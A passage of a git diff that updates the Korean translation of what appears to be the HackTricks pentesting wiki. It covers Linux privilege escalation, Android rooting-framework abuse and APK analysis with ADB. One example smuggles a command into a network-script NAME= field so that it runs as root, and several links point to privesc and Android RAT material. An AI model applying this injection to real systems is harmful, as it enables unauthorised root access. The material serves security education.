์ฐธ์กฐ:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -์–ด๋– ํ•œ ์ด์œ ๋กœ๋“  ์‚ฌ์šฉ์ž๊ฐ€ _/etc/sysconfig/network-scripts_์— `ifcf-` ์Šคํฌ๋ฆฝํŠธ๋ฅผ **์“ฐ๊ธฐ**ํ•˜๊ฑฐ๋‚˜ ๊ธฐ์กด ์Šคํฌ๋ฆฝํŠธ๋ฅผ **์ˆ˜์ •**ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๋‹น์‹ ์˜ ์‹œ์Šคํ…œ์€ **pwned**๋ฉ๋‹ˆ๋‹ค. +์–ด๋–ค ์ด์œ ๋กœ๋“  ์‚ฌ์šฉ์ž๊ฐ€ _/etc/sysconfig/network-scripts_์— `ifcf-` ์Šคํฌ๋ฆฝํŠธ๋ฅผ **์“ฐ๊ธฐ** **๋˜๋Š”** ๊ธฐ์กด ์Šคํฌ๋ฆฝํŠธ๋ฅผ **์กฐ์ •**ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์‹œ์Šคํ…œ์€ **pwned**์ž…๋‹ˆ๋‹ค. -Network scripts, _ifcg-eth0_ ๊ฐ™์€ ์˜ˆ์‹œ๋Š” ๋„คํŠธ์›Œํฌ ์—ฐ๊ฒฐ์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด๋“ค์€ .INI ํŒŒ์ผ๊ณผ ๊ฑฐ์˜ ๋™์ผํ•˜๊ฒŒ ๋ณด์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ Linux์—์„œ๋Š” Network Manager(dispatcher.d)์— ์˜ํ•ด ~sourced~ ๋ฉ๋‹ˆ๋‹ค. +Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). -์ œ ๊ฒฝ์šฐ์—๋Š” ์ด๋Ÿฌํ•œ ๋„คํŠธ์›Œํฌ ์Šคํฌ๋ฆฝํŠธ์˜ `NAME=` ์†์„ฑ์ด ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ฒ˜๋ฆฌ๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. ์ด๋ฆ„์— **๊ณต๋ฐฑ(white/blank space)**๊ฐ€ ์žˆ์œผ๋ฉด ์‹œ์Šคํ…œ์ด ๊ณต๋ฐฑ ๋’ค์˜ ๋ถ€๋ถ„์„ ์‹คํ–‰ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. ์ฆ‰, **์ฒซ ๋ฒˆ์งธ ๊ณต๋ฐฑ ์ดํ›„์˜ ๋ชจ๋“  ๊ฒƒ์ด root๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค**. +In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. -์˜ˆ: _/etc/sysconfig/network-scripts/ifcfg-1337_ +For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_์ฃผ์˜: Network์™€ /bin/id_ ์‚ฌ์ด์˜ ๊ณต๋ฐฑ_) +(_Network์™€ /bin/id_ ์‚ฌ์ด์˜ ๊ณต๋ฐฑ์— ์ฃผ์˜ํ•˜์„ธ์š”_) -### **init, init.d, systemd, ๋ฐ rc.d** +### **init, init.d, systemd, and rc.d** -๋””๋ ‰ํ„ฐ๋ฆฌ `/etc/init.d`๋Š” System V init (SysVinit)์šฉ **์Šคํฌ๋ฆฝํŠธ**์˜ ์ €์žฅ์†Œ๋กœ, **์ „ํ†ต์ ์ธ Linux ์„œ๋น„์Šค ๊ด€๋ฆฌ ์‹œ์Šคํ…œ**์ž…๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—๋Š” ์„œ๋น„์Šค `start`, `stop`, `restart`, ๊ทธ๋ฆฌ๊ณ  ๊ฒฝ์šฐ์— ๋”ฐ๋ผ `reload`๋ฅผ ์œ„ํ•œ ์Šคํฌ๋ฆฝํŠธ๋“ค์ด ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋“ค์€ ์ง์ ‘ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜ `/etc/rc?.d/`์— ์žˆ๋Š” ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ํ†ตํ•ด ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Redhat ๊ณ„์—ด ์‹œ์Šคํ…œ์˜ ๋Œ€์ฒด ๊ฒฝ๋กœ๋Š” `/etc/rc.d/init.d`์ž…๋‹ˆ๋‹ค. +๋””๋ ‰ํ„ฐ๋ฆฌ `/etc/init.d` ๋Š” System V init (SysVinit)์„ ์œ„ํ•œ **์Šคํฌ๋ฆฝํŠธ**๋“ค์˜ ์ €์žฅ์†Œ์ž…๋‹ˆ๋‹ค. ์ด๋Š” ์„œ๋น„์Šค๋ฅผ `start`, `stop`, `restart`, ๋•Œ๋•Œ๋กœ `reload` ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์Šคํฌ๋ฆฝํŠธ๋Š” ์ง์ ‘ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜ `/etc/rc?.d/`์— ์žˆ๋Š” ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ํ†ตํ•ด ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Redhat ๊ณ„์—ด ์‹œ์Šคํ…œ์˜ ๋Œ€์•ˆ ๊ฒฝ๋กœ๋Š” `/etc/rc.d/init.d` ์ž…๋‹ˆ๋‹ค. -๋ฐ˜๋ฉด์— `/etc/init`์€ Ubuntu์—์„œ ๋„์ž…๋œ **Upstart**์™€ ์—ฐ๊ด€๋˜๋ฉฐ, ์„œ๋น„์Šค ๊ด€๋ฆฌ๋ฅผ ์œ„ํ•œ ๊ตฌ์„ฑ ํŒŒ์ผ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. Upstart๋กœ ์ „ํ™˜๋˜์—ˆ์Œ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  Upstart์˜ ํ˜ธํ™˜์„ฑ ๋ ˆ์ด์–ด ๋•Œ๋ฌธ์— SysVinit ์Šคํฌ๋ฆฝํŠธ๋Š” ์—ฌ์ „ํžˆ Upstart ๊ตฌ์„ฑ๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. +๋ฐ˜๋ฉด์— `/etc/init` ๋Š” **Upstart**์™€ ์—ฐ๊ด€๋˜์–ด ์žˆ์œผ๋ฉฐ, Ubuntu์—์„œ ๋„์ž…๋œ ๋” ์ตœ์‹ ์˜ **์„œ๋น„์Šค ๊ด€๋ฆฌ** ๋ฐฉ์‹์œผ๋กœ ์„œ๋น„์Šค ๊ด€๋ฆฌ๋ฅผ ์œ„ํ•œ ์„ค์ • ํŒŒ์ผ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. Upstart๋กœ ์ „ํ™˜๋˜์—ˆ์Œ์—๋„ ํ˜ธํ™˜ ๋ ˆ์ด์–ด ๋•Œ๋ฌธ์— SysVinit ์Šคํฌ๋ฆฝํŠธ๋Š” Upstart ์„ค์ •๊ณผ ํ•จ๊ป˜ ์—ฌ์ „ํžˆ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. -**systemd**๋Š” ํ˜„๋Œ€์ ์ธ ์ดˆ๊ธฐํ™” ๋ฐ ์„œ๋น„์Šค ๊ด€๋ฆฌ์ž์ด๋ฉฐ, ์˜จ๋””๋งจ๋“œ ๋ฐ๋ชฌ ์‹œ์ž‘, automount ๊ด€๋ฆฌ, ์‹œ์Šคํ…œ ์ƒํƒœ ์Šค๋ƒ…์ƒท ๋“ฑ ๊ณ ๊ธ‰ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ํŒจํ‚ค์ง€ ์ œ๊ณต์šฉ ํŒŒ์ผ์€ `/usr/lib/systemd/`์—, ๊ด€๋ฆฌ์ž ์ˆ˜์ •์šฉ ํŒŒ์ผ์€ `/etc/systemd/system/`์— ๋ฐฐ์น˜๋˜์–ด ์‹œ์Šคํ…œ ๊ด€๋ฆฌ๋ฅผ ๊ฐ„์†Œํ™”ํ•ฉ๋‹ˆ๋‹ค. +**systemd**๋Š” ํ˜„๋Œ€์ ์ธ ์ดˆ๊ธฐํ™” ๋ฐ ์„œ๋น„์Šค ๊ด€๋ฆฌ์ž๋กœ ๋“ฑ์žฅํ–ˆ์œผ๋ฉฐ, on-demand daemon ์‹œ์ž‘, automount ๊ด€๋ฆฌ, ์‹œ์Šคํ…œ ์ƒํƒœ ์Šค๋ƒ…์ƒท ๋“ฑ ๊ณ ๊ธ‰ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. systemd๋Š” ๋ฐฐํฌ ํŒจํ‚ค์ง€์šฉ์œผ๋กœ `/usr/lib/systemd/`์— ํŒŒ์ผ์„, ๊ด€๋ฆฌ์ž ์ˆ˜์ •์šฉ์œผ๋กœ `/etc/systemd/system/`์— ํŒŒ์ผ์„ ์ •๋ฆฌํ•˜์—ฌ ์‹œ์Šคํ…œ ๊ด€๋ฆฌ ์ž‘์—…์„ ๋‹จ์ˆœํ™”ํ•ฉ๋‹ˆ๋‹ค. -## Other Tricks +## ๊ธฐํƒ€ ํŠธ๋ฆญ ### NFS Privilege escalation @@ -1453,7 +1446,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ syscall์„ ํ›…ํ•˜์—ฌ ์ปค๋„์˜ ๊ถŒํ•œ ์žˆ๋Š” ๊ธฐ๋Šฅ์„ userspace manager์— ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ์•ฝํ•œ manager ์ธ์ฆ(์˜ˆ: FD-order ๊ธฐ๋ฐ˜ ์„œ๋ช… ์ฒดํฌ๋‚˜ ์ทจ์•ฝํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฐฉ์‹)์€ ๋กœ์ปฌ ์•ฑ์ด manager๋ฅผ ์‚ฌ์นญํ•˜์—ฌ ์ด๋ฏธ ๋ฃจํŒ…๋œ ๊ธฐ๊ธฐ์—์„œ root๋กœ ์ƒ์Šนํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ๊ณผ ์ต์Šคํ”Œ๋กœ์ดํ…Œ์ด์…˜์€ ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”: +Android rooting frameworks๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ syscall์„ hookํ•˜์—ฌ privileged kernel ๊ธฐ๋Šฅ์„ userspace manager์— ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ์•ฝํ•œ manager ์ธ์ฆ(์˜ˆ: FD-order ๊ธฐ๋ฐ˜ ์„œ๋ช… ๊ฒ€์‚ฌ๋‚˜ ์ทจ์•ฝํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฐฉ์‹)์€ ๋กœ์ปฌ ์•ฑ์ด manager๋ฅผ ๊ฐ€์žฅํ•˜์—ฌ ์ด๋ฏธ root๋œ ๊ธฐ๊ธฐ์—์„œ root๋กœ ๊ถŒํ•œ ์ƒ์Šนํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ ๋ฐ ์ต์Šคํ”Œ๋กœ์ž‡ ์ •๋ณด๋Š” ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”: {{#ref}} @@ -1465,7 +1458,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## ์ถ”๊ฐ€ ๋„์›€ [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) @@ -1484,7 +1477,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## ์ฐธ๊ณ ์ž๋ฃŒ - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index e51ca36d4..8ec00d540 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -4,7 +4,7 @@ ## Android Applications Basics -์ด ํŽ˜์ด์ง€๋ฅผ ๋จผ์ € ์ฝ์–ด Android ๋ณด์•ˆ ๋ฐ Android ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ๊ฐ€์žฅ ์œ„ํ—˜ํ•œ ๊ตฌ์„ฑ์š”์†Œ์™€ ๊ด€๋ จ๋œ **๊ฐ€์žฅ ์ค‘์š”ํ•œ ๋ถ€๋ถ„๋“ค**์— ๋Œ€ํ•ด ํŒŒ์•…ํ•˜๋Š” ๊ฒƒ์„ ๊ฐ•๋ ฅํžˆ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค: +์ด ํŽ˜์ด์ง€๋ฅผ ๋จผ์ € ์ฝ์–ด Android ๋ณด์•ˆ๊ณผ Android ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ๊ฐ€์žฅ ์œ„ํ—˜ํ•œ ๊ตฌ์„ฑ ์š”์†Œ์™€ ๊ด€๋ จ๋œ **๊ฐ€์žฅ ์ค‘์š”ํ•œ ๋ถ€๋ถ„๋“ค**์„ ์•„๋Š” ๊ฒƒ์„ ๊ฐ•๋ ฅํžˆ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค: {{#ref}} @@ -13,23 +13,24 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -์ด ๋„๊ตฌ๋Š” ์—๋ฎฌ๋ ˆ์ดํ„ฐ๋‚˜ ์‹ค์ œ Android ๊ธฐ๊ธฐ์— ์—ฐ๊ฒฐํ•  ๋•Œ ์ฃผ๋กœ ์‚ฌ์šฉํ•˜๋Š” ์ฃผ์š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. -**ADB**๋Š” ์ปดํ“จํ„ฐ์—์„œ **USB** ๋˜๋Š” **Network**๋ฅผ ํ†ตํ•ด ๊ธฐ๊ธฐ๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ์ด ์œ ํ‹ธ๋ฆฌํ‹ฐ๋Š” ํŒŒ์ผ์˜ ์–‘๋ฐฉํ–ฅ **๋ณต์‚ฌ**, ์•ฑ์˜ **์„ค์น˜** ๋ฐ **์ œ๊ฑฐ**, shell commands์˜ **์‹คํ–‰**, ๋ฐ์ดํ„ฐ **๋ฐฑ์—…**, ๋กœ๊ทธ **์ฝ๊ธฐ** ๋“ฑ ๋‹ค์–‘ํ•œ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. +์ด๊ฒƒ์€ ์—๋ฎฌ๋ ˆ์ด์…˜๋œ ์žฅ์น˜๋‚˜ ๋ฌผ๋ฆฌ์  ์žฅ์น˜์— ์—ฐ๊ฒฐํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ ์ฃผ์š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.\ +**ADB**๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์ปดํ“จํ„ฐ์—์„œ **USB** ๋˜๋Š” **Network**๋ฅผ ํ†ตํ•ด ์žฅ์น˜๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์œ ํ‹ธ๋ฆฌํ‹ฐ๋Š” ํŒŒ์ผ ์–‘๋ฐฉํ–ฅ **๋ณต์‚ฌ**, ์•ฑ์˜ **์„ค์น˜** ๋ฐ **์ œ๊ฑฐ**, ์…ธ ๋ช…๋ น์˜ **์‹คํ–‰**, ๋ฐ์ดํ„ฐ์˜ **๋ฐฑ์—…**, ๋กœ๊ทธ์˜ **์ฝ๊ธฐ** ๋“ฑ ๋‹ค์–‘ํ•œ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. -adb ์‚ฌ์šฉ๋ฒ•์„ ๋ฐฐ์šฐ๋ ค๋ฉด ๋‹ค์Œ [**ADB Commands**](adb-commands.md) ๋ชฉ๋ก์„ ์‚ดํŽด๋ณด์„ธ์š”. +๋‹ค์Œ [**ADB Commands**](adb-commands.md) ๋ชฉ๋ก์„ ํ™•์ธํ•˜์—ฌ adb ์‚ฌ์šฉ๋ฒ•์„ ๋ฐฐ์šฐ์„ธ์š”. ## Smali -๋•Œ๋•Œ๋กœ **์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ฝ”๋“œ๋ฅผ ์ˆ˜์ •**ํ•˜์—ฌ **์ˆจ๊ฒจ์ง„ ์ •๋ณด**(์˜ˆ: ์ž˜ ๋‚œ๋…ํ™”๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋‚˜ ํ”Œ๋ž˜๊ทธ)์— ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์ด ํฅ๋ฏธ๋กœ์šธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ apk๋ฅผ ๋””์ปดํŒŒ์ผํ•˜๊ณ  ์ฝ”๋“œ๋ฅผ ์ˆ˜์ •ํ•œ ๋‹ค์Œ ๋‹ค์‹œ ์ปดํŒŒ์ผํ•˜๋Š” ๊ฒƒ์ด ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. [**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). ์ด๋Š” ๋™์  ๋ถ„์„ ์ค‘ ์—ฌ๋Ÿฌ ํ…Œ์ŠคํŠธ์— ๋Œ€ํ•œ **๋Œ€์•ˆ**์œผ๋กœ ๋งค์šฐ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋‹ˆ, ํ•ญ์ƒ ์ด ๊ฐ€๋Šฅ์„ฑ์„ ์—ผ๋‘์— ๋‘์„ธ์š”. +๋•Œ๋•Œ๋กœ **์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ฝ”๋“œ๋ฅผ ์ˆ˜์ •**ํ•˜์—ฌ **์ˆจ๊ฒจ์ง„ ์ •๋ณด**(์˜ˆ: ์ž˜ ๋‚œ๋…ํ™”๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋‚˜ ํ”Œ๋ž˜๊ทธ)์— ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์ด ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿด ๋•Œ apk๋ฅผ ๋””์ปดํŒŒ์ผํ•˜๊ณ  ์ฝ”๋“œ๋ฅผ ์ˆ˜์ •ํ•œ ๋’ค ๋‹ค์‹œ ์ปดํŒŒ์ผํ•˜๋Š” ๊ฒƒ์ด ํฅ๋ฏธ๋กœ์šด ๋ฐฉ๋ฒ•์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +[**์ด ํŠœํ† ๋ฆฌ์–ผ์—์„œ** ์ƒˆ ๊ธฐ๋Šฅ์„ ์œ„ํ•ด **APK๋ฅผ ๋””์ปดํŒŒ์ผํ•˜๊ณ  Smali ์ฝ”๋“œ๋ฅผ ์ˆ˜์ •ํ•œ ๋’ค APK๋ฅผ ๋ฆฌ์ปดํŒŒ์ผํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**](smali-changes.md). ์ด๋Š” ์ดํ›„ ์ œ์‹œ๋  ๋‹ค์ด๋‚˜๋ฏน ๋ถ„์„ ์ค‘ ์—ฌ๋Ÿฌ ํ…Œ์ŠคํŠธ์— ๋Œ€ํ•œ **๋Œ€์•ˆ**์œผ๋กœ ๋งค์šฐ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฏ€๋กœ **ํ•ญ์ƒ ์ด ๊ฐ€๋Šฅ์„ฑ์„ ์—ผ๋‘์— ๋‘์„ธ์š”**. ## Other interesting tricks -- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) +- [Play Store์—์„œ ์œ„์น˜ ์Šคํ‘ธํ•‘](spoofing-your-location-in-play-store.md) - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) -- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) -- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) -- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) -- ๋””๋ฐ”์ด์Šค์—์„œ APK ์ถ”์ถœ: +- [Insecure In-App Update Mechanisms ์•…์šฉ](insecure-in-app-update-rce.md) +- [์ ‘๊ทผ์„ฑ ์„œ๋น„์Šค ์•…์šฉ (Android RAT)](accessibility-services-abuse.md) +- **APK ๋‹ค์šด๋กœ๋“œ**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- Extract APK from device: ```bash adb shell pm list packages com.android.insecurebankv2 @@ -62,38 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ## ์ •์  ๋ถ„์„ -๋ฌด์—‡๋ณด๋‹ค๋„, APK๋ฅผ ๋ถ„์„ํ•  ๋•Œ๋Š” ๋””์ปดํŒŒ์ผ๋Ÿฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **Java code**๋ฅผ ์‚ดํŽด๋ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.\ -[**๋‹ค์–‘ํ•œ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ decompilers์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ๋ณด๋ ค๋ฉด ์—ฌ๊ธฐ ์ฝ์–ด๋ณด์„ธ์š”**](apk-decompilers.md). +๋ฌด์—‡๋ณด๋‹ค๋„, APK๋ฅผ ๋ถ„์„ํ•  ๋•Œ๋Š” decompiler๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **Java ์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ด์•ผ ํ•ฉ๋‹ˆ๋‹ค**.\ +์ž์„ธํ•œ decompiler ์ •๋ณด๋Š” [**์—ฌ๊ธฐ**](apk-decompilers.md)๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”. ### ํฅ๋ฏธ๋กœ์šด ์ •๋ณด ์ฐพ๊ธฐ -APK์˜ **strings**๋ฅผ ์‚ดํŽด๋ณด๋ฉด **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** ๋“ฑ ํฅ๋ฏธ๋กœ์šด ํ•ญ๋ชฉ๋“ค์„ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฝ”๋“œ ์‹คํ–‰ **backdoors**๋‚˜ ์ธ์ฆ backdoors(์•ฑ์— ํ•˜๋“œ์ฝ”๋”ฉ๋œ admin credentials)๋„ ์ฐพ์•„๋ณด์„ธ์š”. +APK์˜ **strings**๋งŒ ์‚ดํŽด๋ด๋„ **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** ๋“ฑ ํฅ๋ฏธ๋กœ์šด ํ•ญ๋ชฉ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค... ์ฝ”๋“œ ์‹คํ–‰์„ ์œ„ํ•œ **backdoors**๋‚˜ ์ธ์ฆ backdoors(์•ฑ์— ํ•˜๋“œ์ฝ”๋”ฉ๋œ admin ์ž๊ฒฉ์ฆ๋ช…)๋„ ํ™•์ธํ•˜์„ธ์š”. **Firebase** -**firebase URLs**์— ํŠนํžˆ ์ฃผ์˜ํ•˜๊ณ  ์ž˜๋ชป ๊ตฌ์„ฑ๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. [Firebase๊ฐ€ ๋ฌด์—‡์ด๊ณ  ์ด๋ฅผ ์–ด๋–ป๊ฒŒ ์•…์šฉํ•˜๋Š”์ง€์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” ์—ฌ๊ธฐ๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +**firebase URLs**์— ํŠนํžˆ ์ฃผ์˜ํ•˜๊ณ  ์ž˜๋ชป ๊ตฌ์„ฑ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ์ž์„ธํ•œ ๋‚ด์šฉ๊ณผ Firebase๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์€ [์—ฌ๊ธฐ](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”. -### ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ธฐ๋ณธ ์ดํ•ด - Manifest.xml, strings.xml +### ๊ธฐ๋ณธ์ ์ธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ดํ•ด - Manifest.xml, strings.xml -์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ _Manifest.xml_ ๋ฐ **_strings.xml_** ํŒŒ์ผ์„ ์กฐ์‚ฌํ•˜๋ฉด ์ž ์žฌ์  ๋ณด์•ˆ ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํŒŒ์ผ๋“ค์€ ๋””์ปดํŒŒ์ผ๋Ÿฌ๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ APK ํŒŒ์ผ ํ™•์žฅ์ž๋ฅผ .zip์œผ๋กœ ๋ณ€๊ฒฝํ•œ ํ›„ ์••์ถ•์„ ํ’€์–ด ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ _Manifest.xml_ ๋ฐ **_strings.xml_** ํŒŒ์ผ์„ ๊ฒ€ํ† ํ•˜๋ฉด ์ž ์žฌ์ ์ธ ๋ณด์•ˆ ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํŒŒ์ผ๋“ค์€ decompiler๋กœ ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜ APK ํŒŒ์ผ ํ™•์žฅ์ž๋ฅผ .zip์œผ๋กœ ๋ณ€๊ฒฝํ•œ ๋’ค ์••์ถ•์„ ํ’€์–ด ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -Manifest.xml์—์„œ ์‹๋ณ„๋˜๋Š” ์ทจ์•ฝ์ ์—๋Š” ๋‹ค์Œ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค: +Manifest.xml์—์„œ ํ™•์ธ๋˜๋Š” **์ทจ์•ฝ์ **์—๋Š” ๋‹ค์Œ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค: -- **Debuggable Applications**: _Manifest.xml_ 